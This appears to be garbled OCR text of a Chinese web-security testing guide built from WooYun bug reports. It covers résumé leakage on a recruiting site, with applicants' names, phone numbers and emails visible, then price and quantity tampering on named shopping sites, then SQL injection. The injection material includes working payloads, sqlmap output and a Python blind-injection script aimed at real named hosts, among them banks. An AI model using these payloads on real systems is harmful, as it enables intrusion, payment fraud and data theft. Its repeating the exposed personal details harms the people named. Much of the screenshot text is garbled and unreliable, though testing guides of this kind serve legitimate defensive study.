HTTP/1.1 200 0K Date: Thu, 30 Apr 2015 14:58:16 GMT Server: nfs Content-Type: application/json.charset=UTF-8 Accept-Charset: big5, big5-thscs, euc-jp, euc-kr, gb18030, gb2312, gbk, ibm-thai, ibm0858, ibm01140, ibm01141, ibm01142, ibm01143, ibm01144, ibm01145, ibm01146, ibm01145, ibm01148, ibm01149, ibm037, ibm1205, ibm047, ibm277, ibm278, ibm280, ibm284, ibm285, ibm290, ibm297, ibm420, ibm424, ibm437, ibm501, ibm852, ibm057, ibm850, ibm861, ibm862, ibm684, ibm865, ibm868, ibm868, ibm698, ibm869, ibm870, ibm870, ibm871, ibm818, iso-2022-pr, iso-2022-ip-, is

jQuery110107779618303757161_1430405784487({"content":{"rows":[]},"message"<mark>:"操作成功"</mark>,"state":1})

www.wooyun.org

去邮箱看到有2封邮件:

首页 通讯	录 应用中心 ^{₩1} 未读器件 >	
▲收信 区写信	□ > 删除 举报 标记为 > 移动到 > 更多 > 刷新	1/1 ∽ (← → 🔅
收件箱 (1)	你有一台顶级无人飞机可免费申领! - 马上领>>	[邮箱大师] ×
 紅旗邮件 ④ 待办邮件 	不包含 已删除 的未读邮件 ,点击此处重署	
. 联系人邮件	未读 全部设为已读 (收件箱 1封 ,订阅邮件 1封)	
草稿箱	拉勾网 「汀间邮件」(简历来自拉勾)测试:赵彬云 赵彬云	22:5
已发送 订阅邮件 (1)	🗌 🎽 拉勾网 🕞 [收件箱] (简历来自拉勾)测试:赵彬云	22:5
 > 其他2个文件共 邮件标签 邮箱中心 文件中心 附件图集 ・ ・ 新邮件提醒 ・ 多帐号管理 		
詩所有邮箱		www.wooyun.org

第一封是我发布职位里的没错:



第二封跪了:



看看能打开吗:

	N		
	查看简历		
100	输入邮件内的六位数验证码,	查看王子潇的简历:	Ð
-	483338	提交	
10.			

应聘职位:	商务合作专员					2015	-04-2	26 19:	31
م 🛛	★ 🗎 页面:	1 /1	一 十 自动缩放	\$	5.7 2 N	9	D		»
		ß							l
			王 子潇 男 27岁						
	3	手机	邮箱:	现居:上海					
概括 • 2-3 • 优封	年品牌战略/消线 势:团队配合,远	费者洞察/市场传持 适应能力,战略思。	番经验 维,注重细节						
 - 职业: 特劳; 品牌) • 分析 • 差 	<u>骨景</u> 時(中国)战略营行 战略分析师 所市场情报 (MI) 异化品牌定位及	销咨询有限公司,),洞察竞品优势(营销战略(消费)	上海,中国 (20+; Benchmark),预测行业 \智定律, IMC),创新品类认	形势 (电商 / 互联网 / 快消 / 汽车 知 (哈弗, 唯品会,赶集网, 加多宝	2014.00 / 工业出 , 超威)	5- 2 01 品等) ,创;	5.02 造品		
牌 ● 座 ● 整 业 下载 - K4	育选 (95 %) 青品牌传播 (品牌 合品牌/产品升级 9%-20%) 車业务单元(Bus)	^連 故事 / 市场梯队 5. 制造行业公关 siness Unit Focus	、/ 传播节奏), 优化传播结构(改点, 维护忠诚消费及源点人 , 优化营销配称及运营资源()	公关 / 电视 / 广播 / 纸媒 / 户外等 群(意见领袖 / 口碑传播), 实现品 C-Levels: Multi-Functional: ★) 脾溢价 ///////	(单 這N	价增 つ <mark>の</mark> り		org

换个人:



查看联系方式:

应理粤目	查看联系方式	× 19:31
Ju	查看联系方式意味着候选人的简历已经通过筛选,该候选人会被移动到待沟通 历列表中,同时收到通过筛选的通知,您需要在三个工作日内与其进行沟通。 三日后,您的联系方式将会展示给候选人,同时,他将可以对没有沟通的行为 行举报,这将会使你职位的曝光率受到严重影响。	简 进
	*联系人 *联系电话 *联系邮箱 hr@lashou.com 确认查看 取消	
		.03

手机,邮箱出来了:

应聘职位:运营经理	2015-04-26 19:31
柯逸思	Į.
▶ 2年运营经验,学习能力强,思维缜密	, 激情持续 , 执行力无偏差
宫 商务经理·美团网 8 本和	斗 3年工作经验 广州
🖁 134 मॉ मॉ में मैंग्री- 🖄 3041	168174@qq.com
工作经历	
美团 美团网 商务经理	2014.07 — 2015.03
上下载 Ⅰ. 担任酒店事业部商务经理一职,销售运营一体化,引在内的480家酒店(共900个项目方案)入驻美团网,经	进包括天河、海珠、白云、从化、越秀区 WWW WARD UN. 013 予020专业建议,构建区域酒店020生态

进一步操作,可以看到应聘职位:

应聘	通知面试		× _{19:31}
	5	2面试通知 已安排面试	
	* 主题	304163174@qq.com 广州翼风通信技术有限公司:运营经理面试通知	
	* 面试时间		
	可选模板	ff	·
	* 面试地点		
	* 联系人		
	* 联系电话		
	补充内容		
	Ż	编辑内容仅针对本次发送,不会影响	機板
		发送预览	× www.wweaguh.com

经过自己的账号测试,简历操作都会真实改动。 随机抽查:



应聘明	9位:运营总	台监 🔶 ———————————————————————————————————	N			2015	-04-26	19:31
	ዖ ቲ	▶ 页面: 1 /7	4	- + 自动缩词	女 \$	X 🖨	Dì	. »
	姓名: 联系 教育	<u>王佳</u> 性别 <u>女</u> 电话: <u>13</u> 0552036	年龄: <u>33</u> 身高 副	个人简 历 ;: <u>164</u> 体重: <u>50</u>	5 户籍: <u>上海</u> 耳	文治面貌: <u>中共党员</u>		Ì
	学历	学校	条别	起止时间	王修专业 	王修课程		
	本科	河南财经学院	旅游管理系	2000.09-2004.07	酒店管理	星级酒店财务管理、酒店营 销、酒店品牌文化管理等课程		
	硕士	复旦大学	国际关系与公 共事务学院	2005.09-2008.07	行政管理	公共政策理论分析、城市发展 战略、政府绩效评估与战略管 理、当代中国行政专题研究		
下载						www.wa	it (ش	n <mark>.ong</mark>

应聘职位:运 营总监		通知	面试					×		2015-(04-26 19	:31		
	ይ 🕇	•	页面:	2	法	这面试通知	Y		已安排面试		5	: 0	B H	>>>
				收件人 * 主题	1010503001@qq.com 上海童锐网络科技有限公司:运营总监面试通知						٦			
	tat A		an bi		面试时间					•				
	姓名 联	5: <u>∃</u> 系电	<u>:佳</u> 作: 话: <u>1</u> 33		可选模板	ff				•	<u>完员</u>			
					面试地点									
	教	育習	景		* 联系人									
	学	历	学		联系电话						果程			
	本	科	河南财		补充内容						管理、酒 :化管理@	言信营 等课程		
	硕	±	复旦;								}析、城ī ;评估与d	节发展 战略管		
								编辑内容(双针对本次发送,不会	会影响模板	行政专题	研究		
						发送	预览				WW	w.waa	ağun	

应聘职位:运 营总监		通知问	面试					\rightarrow	<		2015-(04-26	19:31		
	<u>۹</u>	▶ 页面:	6	45	这面试通知	\checkmark	ī	己安排面试		ł	8	0	61		>
				收件人 * 主题	1010503001@ 上海童锐网络和)qq.com 以	司 : 运营总	监面试通知		t			٦	I	
	tale to	- 4 14	*	面试时间					•	sie s	=				
	姓名: <u>王佳</u> 性 联系电话: <u>13</u>			可选模板	ff				•	<u>:见贝</u>					
			*	面试地点											
	教育	育背景		* 联系人						-					
	学历	学	•	联系电话						果稻	ł				
	本科	河南财		补充内容						管理 :化律	!、酒店 管理等i	這 果程			
	硕士	- 信日								♪析 19平4	、城市;	发展			
						-	编辑内容仅错	计对本次发送,不	会影响模板	行政	(专题研	F究			
下载					发送	预览						(ww	創建 U	h.ai	ng

应聘职位:运 营总监	确认简历不合适	2015-04-26 19:31
□	● 确认这份简历不合适吗? 确认后,系统将自动发送不合适通知邮件至用户邮箱	
姓名: <u>王佳</u> 性别 联系电话:13262	可选模板 系统模版 ▼ 非常荣幸收到你的简历,招聘方经过评估,认为你与该职位的条件 不大匹配 天法进入面述阶段	<u>中共党员</u>
教育背景 学历 学校	相信更好的机会一定还在翘首期盼着你,赶快调整心态,做好充足的准备重新出发吧!	- 修课程
本科 河南财经制		7务管理、酒店营 律文化管理等课程
硕士 复旦大约	编词内容以针对本次发送,不会影响像做 确认不合适时,同时关闭预览页 确认不合适 取消	论分析、城市发展 绩效评估与战略管 =国行政专题研究
		www.w和含這Un.C面词



	应聘职位:营销推广专员	2015-04-26 19:	31
L;			
	张春	龙	
	推广过APP,有一定的手机	1.渠道人脉 , 刷的起脸	
	三 渠道经理、集团客户经理·…	8 本科 4年工作经验 泉州	
	(13902 XBX	347408332@qq.com	
	工作组	经历	
	中国移动福建公司泉港分公司 渠道经理、集团客户经理	2013.07 — 至今	
	• 负责企事业单位以及核心简密客情关系维护,有 脸	一定的手机渠道以及运营商人脉,能够刷的起 ,	www.wææyUn <mark>.com</mark>

应罪	通知面试			× _{19:31}	
	2	运面试通知	已安排面试		
	收件人	347408332@qq.com			
	* 主题	厦门云诚创想电子商务有限公	司:营销推广专员面试通知		
	* 面试时间			-	
	可选模板	ff		·	
	* 面试地点				
	* 联系人				
	*联系电话				
	补充内容				
4	a []	(a)	中空闪针对大灾发送 医全影响	200	
湃			FJERKIN/1447/2027/1729/#	niserit.	
		发送 预览			

应聘	通知面试			×	19:31
		发面试通知	已安排面试	×	
	如果已通过电话 供面试时间 , 标	或邮件通知求职者面试 记后 , 简历会进入已安	; , 可以将简历标为"已安排面试 排面试列表 , 待沟通名额立即	;",需要您提 释放	
	* 面试时间	2015-05-02 08:40		v	
	* 联系人				
	* 联系电话				
		确认	取消		
中] 渠]					ē¢
					www.wææğun.cog

使用 pydbg 这种工具可瞬间建立离线简历库,还好我是良民--,有没有信息贩子路过你们 好好查查吧。

2.3 业务数据篡改

2.3.1 金额数据篡改

抓包修改金额等字段,例如在支付页面抓取请求中商品的金额字段,修改成任意数额的金额 并提交,查看能否以修改后的金额数据完成业务流程。

案例: 12308 订单支付时的总价未验证漏洞(支付逻辑漏洞)

在支付时可修改订单总价

在支付时可以修改订单总价,为了避免不必要的麻烦,未完成支付的最后一步.但是跳转到支 付宝价格已被修改。未完全确认,希望厂商自行测试。

1. 下单

 / 8 12308全国公路客运残び ← → C	 2 未常到后接的 308.com/train/ng ● 05-30 今天 0 周六 	在美族)× 8 12300 petTrainlist.sc?startの 5-31 明天 月日 月一	2全国公路客运换订 CityName=%25E6 06-02 06-03 周二 周三	%2597%25A0%25 06-04 0 周四 2	5E9%2594%25A1&end 6-05 06-06 局五 周六 ▶		×
	发车时间: 皮车时间: 上始发站点: 金	午(06:00~12:00) 🕑 部车站 🗌 无	下午(12:00~18:00) 锡站	☑ 晚上(18:00~24:00)	更多筛选条件 >	> 一般可以提前几天购票? 	
	出发时间 ★ 07:05 67.0km	出发/到达 圆 无锡站 (3) 圆 后塍	车型/车次 大高一 WB0019	票价 ● ¥21	车票预订 购票	 第1课 如间成为12308.com会员? 如间联系我们? 	h
	08:55 67.0km	● 无锡站 ● 无锡站 ● 后塍 ● 二锡社	大高— WB0022 十百—	¥21	购票	 2 第 2 课 > 如同實習時订汽车票? > 如同购票下订单? 	
	67.0km 12:35 67.0km	圖 后塍 圖 无機站 (♪ 圓) 后塍	大高一 WB0023	¥21 ¥21	売票	→ 如同州上支行¥ → 如何失生沾險雾? (3) 第 31 课 → 51 课	
	14:30 67.0km	□ 无锡站 (3) □ 后账	大高一 WB0021	¥21	购票	 > 如何递票,遇款? 	
	16:45 67.0km	중 九勝始【 ● 后塍	大局一 WB0024	¥21	熟業		
	关于12308 联系我们 E ② 2014 12308.com 版材	服务协议 诚征英才 常见问: 见所有 粤ICP备14020827	표 号-1		中国道路运输	創始会) (全国站场工作委员会) サー理) WWW.WOOyun.	org



	d ∂
← ⇒ C D pay.12308.com/toPay.htm?orderNo=0215123081609585	* =
◎ 忘的月半旋文成功,增在10万钟内尽伏竹款,以免月半大效;	^
订单编号:021512001609585 应付金额 21 元	
支付剩余时间: 09 分 42 秒	
车票信息 无揭站一后题 座次:一 发车时间:2015-05-31 07:05	
	1
□ 扫码快捷支付	
 	
□ 在线支付平台	
• इसंह • ज्ञीविल	
■ 网上银行(银联)	
○ Perfet 在终支付 Balance Report	
确认支付	
	www.wooyun.org

2.修改

8 12308全国公路客运预订 ×	🛐 Burp Suite Professional v1.6beta - licensed to LarryLau	8								
← → X □ pay.12308.cd	Burp intruder Repeater Window Help	≡								
	Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Options Alerts									
	Intercept HTTP history WebSockets history Options									
	Request to http://pay.12308.com.80 [223.6.251.196]									
	Forward Drop Intercept is on Action									
	Raw Params Headers Hex									
	POST /aliPay.htm HTTP/1.1 Moct. nov. 12208.com									
	Proxy-Connection: keep-alive									
	Content-Length: 209 Cache-Control: max-age=0									
	Accept: text/html.application/xhtml+xml,application/xml;q=0.9,image/webp,+/+;q=0.8 Origin: http://pay.12308.com									
	User-Agent: Mozilla/5.0 (Windows NT 6.1; W064) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 Content-Twwe, ann Lenguellengeded									
	Referer: http://pay.12308.com/toPay.htm?orderNo=0215123081609585									
	Accept-Lancourage zh-CN, deriado 6, zh-TW (q=0.4									
	Cookie: sgsa_id=12308.com[14230]f406[66555; LN=16785/147994q.com:14166C(1A59320156)A266BA7D058FEBAB75EA1E'; JSESS101D-F2200PA581189327B1B507E57BB02; sgsa_vt_226089_232571432921764654;									
	Im_lrt_7ac99e8c2df45dc624bafcdd8216c545=1432916406,1432916432,1432916701; Hm_lprt_7ac99e8c2df45dc624bafcdd8216c545=1432921826; SEVFREID-98bAglcc6389457Ac613429218111143292071									
	and of 14-14021958, miles 20, 000 151220816.005958, miles 20, 000 151220816, 000 151220816, 000 151220, 000 15120000000000000000000000000000000									
	order for the resource for our resources of the sources of the sou									
THE REAL PROPERTY AND ADDRESS OF THE REAL PROPERTY ADDRESS OF THE REAL PRO	2 C + > Type a search term WWW.WQQQyUD.	.org								
and the page of the second of the second										



修复方案:

加强验证

2.3.2 商品数量篡改

抓包修改商品数量等字段,将请求中的商品数量修改成任意数额,如负数并提交,查看能否以修改后的数量完成业务流程。

案例: 蔚蓝团支付逻辑漏洞(可负数支付)

某团购网站通过修改数量为负,成功获取账户余额,该余额可成功支付其他订单!

蔚蓝团团购网站: http://tuan.wl.cn/ 选好团购商品,然后点击最下面的支付宝支付:
提交订单

团购项目	数量	价格	快递	总价
现价299元全国包邮!原价998元大 中国文化丛书套装全24册,套书介绍 了中国的政治演进、历代军事、经济 简史、文学精华、科技成就、历代名 人、医学文化、民俗文化、考古发 现、自然地理等,全彩印刷图文并 茂,极具收藏的一套中国文化百科全 书!	1 x	: ¥ 299	+¥0 =	= ¥ 299
(如果在线支付有限额,可先分多次 <u>对账户充值</u>	[,然后刷新本页低	史用余额支付) 当前	^{]账户余额 9.90元} 还应支付	,使用余额付款后, 寸 金额:¥ 289.1 元
请 选择 支付 方式:				
 更重要 确认生成订单,进入付款页 返回修改 	<u>女订单</u>		ww	w.wooyun.org

抓包,并修改数量为-1:



网站里出现未支付订单:

团购项目	数量	总价	订单 状态	操作
	-1	¥ -299元 (运费:0元)	1 未付款	<u>付款 取消</u> ▼ WWW.WOOYUN.Org

直接点击付款,马上就跳转到显示付款成功的页面:

团购项目	数量	总价	订单 状态	操作
- Wi	-1	¥ -299元 (运费:0元)		 ∕w.wooyun.org

账户余额增加了:

优惠券	订单	余额	收货地址		
您当前的帐户	余额是 308.90 元				
	摘要		日期	金额 (元)	
团购商品			2015-04-19 14:17:43	+ 299 🗸	
团购商品			2015-04-19 14:08:17		org

使用该账户余额正常购买别的商品:

团购项目	数量		价格	快递		总价
现价109元全国包邮!原价264元 BBC科普三部曲 套装3册,含《地球: 行星的力量》《海洋:深水探秘》《 生命:非同寻常的动物》英国BBC电 视台巨资打造的科普巨作,自然纪录 片第一品牌!	1	×	¥ 129	+¥0	=	¥ 129
(如果在线支付有限额,可先分多次 <u>对账户充信</u>	1,然后刷新4	本页使用	月余额支付) 当	前账户余额 30	^{8.90元,} 还应支	使用余额付款后, [付金额:¥ 0]

优惠券	订单	余额	ĺ.	收货地址		
				分类:	全部 已付款	未付款
娛閲	项目	数量	总价	订单状态	操作	
- CO		1	¥ 129元 (运费:0元)	✓ 已付款		•
	Ĩ.	-1	¥ -299元 (运费:0元)	✓ 已付款		•
		-1	¥ -9.9元 (运费:0元)	🕑 已付款	 WWW.WO0	oyun.or

2.3.3 最大数限制突破

很多商品限制用户购买数量时,服务器仅在页面通过 js 脚本限制,未在服务器端校验用户 提交的数量,通过抓包修改商品最大数限制,将请求中的商品数量改为大于最大数限制的值, 查看能否以修改后的数量完成业务流程。

2.3.4 本地 js 参数修改

部分应用程序通过 Javascript 处理用户提交的请求,通过修改 Javascript 脚本,测试修改 后的数据是否影响到用户。

2.4 用户输入合规性

2.4.1 注入测试

a. 手动注入

1. 在参数中输入一个单引号"", 引起执行查询语句的语法错误, 得到服务器的错误回显, 从而判断服务器的数据库类型信息。 根据数据库类型构造 sql 注入语句。

例如一个 get 方式的 url[http://www.xxx.com/abc.asp?p=YY]

修改 p 的参数值 http://www.xxx.com/abc.asp?p=YY and user>0 , 就可以判断是否是 SQL-SERVER, 而还可以得到当前连接到数据库的用户名。

http://www.xxx.com/abc.asp?p=YY&n ··· db_name()>0 不仅可以判断是否是 SQL-SERVER, 而还可以得到当前正在使用的数据库名 。

2. 盲注, 大部分时候 web 服务器关闭了错误回显。

http://www.xxx.com/abc.asp?p=1 and 1=2 sql 命令不成立,结果为空或出错; http://www.xxx.com/abc.asp?p=1 and 1=1 sql 命令成立,结果正常返回。 两个测试成功后,可以判断负载的 sql 被执行,存在 sql 注入漏洞。

手动注入网站示例。登录密码('or'1'='1)并成功进入管理后台。

← + C 3 www./sys	ern/manage.asp	¥⇔ T ≡
2010年 2010年 日本 1910年 日本 1910	926.9	
日〇 新新規度	ADMES 次担位进入管理后台:投作工作输供:1	
PLD MATTIF	(如前服果次数) – 共 Milli 次	
	1799HJ	-
D Fiving	家次管理的(P)	
III CO ESSERVICIÓN		
白白 机原油酸	上1次聖录情况:	
日白 次期時期	上に次量業備局に	
申二 近北前援	上小(重新構成) 上(方面景像名)	
PC3 RHOLE	上5次整果情况;	
田〇 風訪智慧	上心:安皇亲情况:	
中口 斜叶花语	上7次發発情况:	
012 MB	上の次量業備長に	
《方王尼山 白藤新雪草	上2次重素情况;	
◆ 税分 低加 ◇ 教護後令 ◇ 自由地理 ◇ 差回局質	非是5-76丁基600%的起始的新发行。Mitz146401000以上5-54000000087834456985-2016404	你 自治1 /
	ı ج	^{推品会} 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一

a.aLimit 后盲注

案例:同花顺一处 limit 后盲注(ROOT 权限/跨 11 库)

检测发现以下地方存在 SQL 注入:(注入参数 limit, limit 后时间盲注)

http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/list-data?class ify=1&flag=fancy&limit=3&order=1&page=1&sort=totalrate&type=0&version=1.1.23.1

Payload: (延时7秒)

http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/list-data?class ify=1&flag=fancy&limit=1/**/procedure/**/analyse(extractvalue(1, benchmark(25000 000, md5(111))), 1)+--+-&order=1&page=1&sort=totalrate&type=0&version=1.1.23.1

1. 当前数据库用户, ROOT

[21: 22: 52] [INF0] testing MySQL [21: 22: 52] [INF0] the back-end DBMS is MySQL [21: 22: 52] [INF0] the back-end DBMS is MySQL web application technology: Apache 2. 2. 11 back-end DBMS: MySQL >= 5.0.0 [21: 22: 52] [INF0] fetching current user [21: 22: 52] [INF0] retrieving the length of query output [21: 22: 52] [INF0] retrieving the length of query output [21: 22: 52] [INF0] resumed: 24 [21: 22: 52] [INF0] resumed: programs@192. 168. 210. 207 current user: 'programs@192. 168. 210. 207' [21: 22: 52] [INF0] resting if current user is DBA [21: 22: 52] [INF0] fetching current user current user is DBA: True [21: 22: 52] [INF0] fetched data logged to text files under '/root/.sqlmap/output/ ft. 10jqka.com.cn' [*] shutting down at 21: 22: 52

2. 所有数据库,共11个



a.bSql 盲注

案列: 263 通信某 APP 一处 SQL 盲注(附验证脚本)

263 网络会议 3.0 http://www.263.net/263/download/



下载 APP,"快速入会"功能,接口:

POST http://cc.263.net/rest/netmeeting/quickLoginNet HTTP/1.1 Content-Type: application/json;charset=UTF-8 Content-Length: 65 Host: cc.263.net Connection: Keep-Alive {"pCode":"46867588", "username":"lisi", "clientType":10}

注入点: pCode bool 盲注。 false:

□ ·· JSON ··· dientType = 10 ··· pCode = 46867588' or ··· username =lisi	'a'="b
	' or 'a'='b
Expand All Collapse	JSON parsing completed.
Get SyntaxView Transform Caching Cookies Raw	er Headers TextView ImageView HexView
⊡ JSON errorCode=90002 msg=会议密码错误	,请重新输入。 WWW WOOVUD OTO

true:

	'a'='a
Expand All Collapse	' or 'a'='a JSON parsing completed.
Get SyntaxView Transform Caching Cookies Raw	er Headers TextView ImageView HexView WebView
⊡- JSON errorCode=80007 msg=调用网络会议	↓ ∋动参数失败 WWW.WOOYUN.Org

数据库用户:

BOSSAPP@192. 168. 99. 67

[in	progress] BOSSAPP@192	8 28 2	121		28 2				
[in	progress] BOSSAPP0192.1			28 - 2		2	R 2		
 Cin	rogress] BOSSAPPC192.16	x 2x 2	× 24 -		22 2				
 [in	rogress] BOSSAPP@192.168			17 1		2	8 2		
 Cin	progress] BOSSAPP0192.168	x 2x 2	× 24 -		28 2				
 [in	progress] BOSSAPP0192.168.9			22 2		2	8 B		
 [in	progress] BOSSAPP0192.168.99	x 2x 2			22				
 [in	progress] BOSSAPP0192.168.99			14 I		<u>.</u>	8 2		
 [in	progress] BOSSAPP0192.168.99.6	27 2			2				
 [in [Don	rogress] BOSSAPP0192.168.99.67 WW	/////	.wc	00	yu	'n.	01	ġ	

```
python 验证脚本:
```

```
headers = {'Content-Type': 'application/json;charset=UTF-8'}
payloads = 'ABCDEFGHIJKLMNOPQRSTYVWXYZ0123456789@ .'
print '[%s] Start to retrive db User:' % time.strftime('%H:%M:%S',
time.localtime())
user = ''
isEnd=False
for i in range(1, 36):
    if isEnd:
        break
    isEnd=True
    for payload in payloads:
        url='/rest/netmeeting/quickLoginNet'
        start time=time.time()
        data='{"pCode":"46867588\' or
MID(user(), '+str(i)+', 1)=\' '+payload+' ", "username": "lisi", "clientType":10}'
        conn = httplib.HTTPConnection('cc. 263.net', timeout=60)
        conn.request(method='POST',url=url,body=data, headers=headers)
        html doc = conn.getresponse().read()
        conn.close()
        print '.',
        if(html_doc.find('80007')>0):
            isEnd=False
            user += payload
            print '\n[in progress]', user,
            break
        time. sleep(0, 1)
print '\n[Done] db user is %s' % user
time.sleep(20)
```

a.c伪静态 db2 布尔盲注

案列:某银行主站伪静态 DB2 布尔盲注

这个也帮忙给审核下吧 thanks

http://**.**.**/bugs/wooyun-2016-0211479/trace/8722c6d1776df3a473e61e3dc44c1 2f9 http://**.**.**.**/Site/Home/CN

Go Cancel < Y	Tarr	jet: http://www.dzbchina.com 🖉 ?
Request	Response	
Raw Params Headers Hex	Raw Headers Hex HTML Render	
GET /Site/Hone/CMT*APMT+1=tAND+1'='1 HTTF/1.1 A Hot: ww.dbwina.com User_Agent: Mozilla/5.0 (Windows NT 5.1; rv:46.0) Gecko/20100101 Firefox/16.0 Accept: text/htnl, application/Atnl1txnl, application/xnl;q=0.9,*/*;q=0.8 Accept-Encoding: grip, deflate Cochae: JESSIGNID=0000w_D-sKIADvPSphMirVPvo2J:-1 Connection: close	HTTP/1.1 200 OK Date: Sun, 22 May 2016 02:41:19 GMT Server: IBM_HTTP_Server Connection: close Content-Type: text/html; charset=GBK Content-Langue: :h-CN Content-Langth: 30059	
	<pre>(JDCTYPE htal PUBLIC "-//WCC/DID XHTML 1.0 Transitional/EH" Thtp://www.wd.org/TM/Ahtall/DID/Abtall-transitional.dtd") Ghtal mains=Thtp://www.wd.org/TMS/Ahtall-transitional.dtd") Ghtal mains=Thtp://www.wd.org/TMS/Attall-transitional.dtd") Ghtal ministronome ("Content-Type" content="text/htal; charact=GEK" /> (itle) GM/METF/itle) Ghtal medf='/static/Home_GM/syle/shule.com' rule='stylesheat' type='text/com' /> Gaript srs='/static/Home_GM/syle/shule.com' rule='stylesheat' type='text/com' /> function redirect() { var _select = document.getElementById("select"); if (select value = 's') { return; }else(vindow.open(_select.value); } } } </pre>	
? + > Type a search term 0 matches	? < + > Type a search term	www.wooyun.ong-
Dana		20 345 kudaa L47 will



🗕 🔶 SQI	* XSS* Encryption* Encoding* Other*	
L http://	www.dzbchina.com//Site/Home/CNY%20AND%201ength(system_user))7%20AND%20'1'='1	
a.		
_ Enab	le Fost data 🔝 Enable Referrer	
2	4 条 渔业组织	116年5月22日 星期日
不 川下 到	TETTICET J DEZHOU BANK 市民银行 根脉相连	设为主页 诚聘英才 加入收藏 常见问题
	🐕 Burp Suite Professional v1.6.38 - licensed to Larry_Lau	
3 8 R II	Burp Intruder Repeater Window Help	
로 만드 대	Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Options Alerts	
n steel to		7 G
	Go Cancel < v > v	Target: http://www.dzbchina.com 🖉 💽 🚆
	Request	Response
	Raw Params Headers Hex	Raw Headers Hex HTML Render
	GET /Site/Home/CN'%20AND%20length(system_user)>7%20AND%20'1'='1 HTTP/1.1	HTTP/1.1 200 OK
	Host: www.dzbchina.com User-Agent: Mozilla/5.0 (Windows NT 5.1: rv:46.0) Gecko/20100101 Firefox/46.0	Date: Sun, 22 May 2016 03:16:57 GMT Server: IBM HTTP Server
	Accept: text/html, application/xhtml+xml, application/xml; q=0.9, */*; q=0.8	Connection: close 中端
	Accept=Language: zh=CN,zh;q=0.8,en=US;q=0.5,en;q=0.3 Accept=Encoding: gzip, deflate	Content-Type: text/html; charset=GBK Content-Language: zh=CN
	Cookie: JSESSIONID=0000w_D-sKIADvPSphM1zVPvo2J:-1	Content-Length: 30059
	Connection: close	1
:hina.com…		html PUBLIC "-//W3C//DTD XHTML 1: WOOYUN.OT</th

常访问 🦲 🥬)孤官方站点 🥮 新手上路 🦲 常用网址 Đ 京东商城	
•	 SQL* XSS* Encryption* Encoding* Other* 	
.ogd URL	http://www.dzbchina.com//Site/Home/CW'%20AND%20length(system_user)>7%20AND%20'1'='1	
plit URL		
. <u>z</u> ecute		
	Enable Post data 🗌 Enable Referrer	
a ne i	11 😓 🐼 徳州银行	116年5月22日 星期日
目前に	DEZHOU BANK 市民银行 根脉相连	设为主页 诚聘英才 加入收藏 常见问题
	Burp Suite Professional v1.6.38 - licensed to Larry_Lau	
1 음법 8	Burp Intruder Repeater Window Help	
ا کلیا ۲	Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Options Alerts	
- 701		회문
		Target: http://www.dzbchina.com 🖉 👔
	Request	Response
	Raw Params Headers Hex	Raw Headers Hex
	GET /Site/Hone/CH*W20ADDW20length(system_user)>8k00ADDW20'1'='1 HTTP/1.1 Hest: www.dtbchina.com User-Agent: Mosilla/S.0 (Windows NT 5.1; rv:46.0) Geckc/20100101 Firefox/46.0 Accept'isex1/htl,application/Athritana, application/Athritana, application/At	HITP/1.1 500 Internal Server Error In Date: Sun, 22 May 2016 03:17:19 GWT Server: IBW_HTTP_Server SWEFF Content-Length: 124 Connection: close Content-Type: text/html;charset=GE2312 Content-Language: zh=CW Error 500: no mapping found for prefix: &439; /Home/CM' AMD length&#-f0; system_user&#-41.1 & WWHW.WOOYUN.OT &439; I&439; -&439; I&439;</th></tr><tr><th>ww. drbchina</th><th>con***</th><th></th></tr></tbody></table>

available databases [10]: [*] DB2INST1 [*] NULLID [*] SQLJ [*] SYSCAT [*] SYSFUN [*] SYSIBM [*] SYSIBMADM [*] SYSPROC [*] SYSSTAT [*] SYSTOOLS current database: 'CMSDB' database management system users [1]: [*] DB2INST1 [313 tables] +-------+ | ADVISE_WORKLOAD | | AREA | | AREA_EMAIL | COMPANY_LOANS | D2S_BLOCK_TEMPLATEMAP | | D2S_CHANEL_CHANEL_RELATIONSHIP | | D2S_CHANNEL_BLOCKMAP | | D2S_CHANNEL_INFO_RELATIONSHIP | | D2S_CHANNEL_TEMPLATEMAP | | D2S_INFO_BLOCKMAP | | D2S_INFO_CHANNEL_RELATIONSHIP |

没 waf 直接上 sqlmap 未脱裤

| D2S_INFO_INFO_RELATIONSHIP | | D2S_INFO_TEMPLATEMAP | | D2S_TEMPLATE | | EMAIL_SEND_LOG |

a.d 伪静态 sql 布尔盲注

案列:某银行主站伪静态 sql 布尔盲注 root

http://**.**.**.**//cmsDeskArticle/bankCardType/1 注入点

经测试 information_schema 不能用, sqlmap 神器也悲伤 肯花时间的话 可以猜的出表

e ■ Enable Post data □ Enable Referrer ● Enable Post data □ Enable Referrer ● SQL- XSS- Encryption- Encoding- Other- ■ Logd URL ● Egecute ■ Enable Post data □ Enable Referrer	技術 技術 技術 人地方 市 大地方 电子银行 金融投済 关于早線 画多>> 上一页 下一页 当前1/0页 转到 页 go Www.wooyun.
Experience Solver State Solver Encoding Other Inable Post data Enable Referrer Enable Referr	技術 技術 技術 成時英才 网点分布 大北秀 电子银行 金融投资 关于早銀 運多>> 上一页 下一页 当前1/0页 转列 页 go WWW.WOOYUN. d1=10r'1'='
	<mark>7业务 电子银行 金融设资 关于导银</mark>
● SQL-XSS-Encryption-Encoding-Other- Logd URL Synt URL Execute Enable Post data Enable Referrer	更多>> 上一页 下一页 当前1/0页 转到 页 go www.wooyun. d1=1or'1'='
▲ SQL* XSS* Encryption* Encoding* Other* Index URL Split URL Execute Enable Post data □ Enable Referrer	上一页 下一页 当前1/0页 转到 页 go www.wooyun. d1=1or'1'='
• SQL• XSS• Encryption• Encoding• Other• Inttp://www.fuxinbank.com//cmsDeskArticle/bankCardType/1* or length(database())=7]ans Egecute Enable Post data Enable Referrer	上一页 下一页 当前1/0页 枝到 页 go www.wooyun d 1=1 or '1'='
SQL- XSS- Encryption- Encoding- Other- Intp://www.fuxinbank.com//cmsDeskArticle/bankCardType/1' or length(database())=7 and Split URL Execute Enable Post data Enable Referrer	www.wooyun
ipiti URL xecute Enable Post data Enable Referrer	
Enable Post data Enable Referrer	
😑 阜新银行 聚全集錄 藏	ちた氏 原版本 前体 - 湖明英オ 岡点分布
